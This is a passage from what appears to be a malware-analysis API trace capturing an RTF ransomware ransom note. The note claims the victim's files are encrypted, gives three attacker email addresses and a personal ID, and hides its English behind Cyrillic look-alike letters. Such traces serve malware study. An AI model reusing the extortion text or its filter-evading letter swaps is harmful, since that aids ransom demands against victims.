v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de8de8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 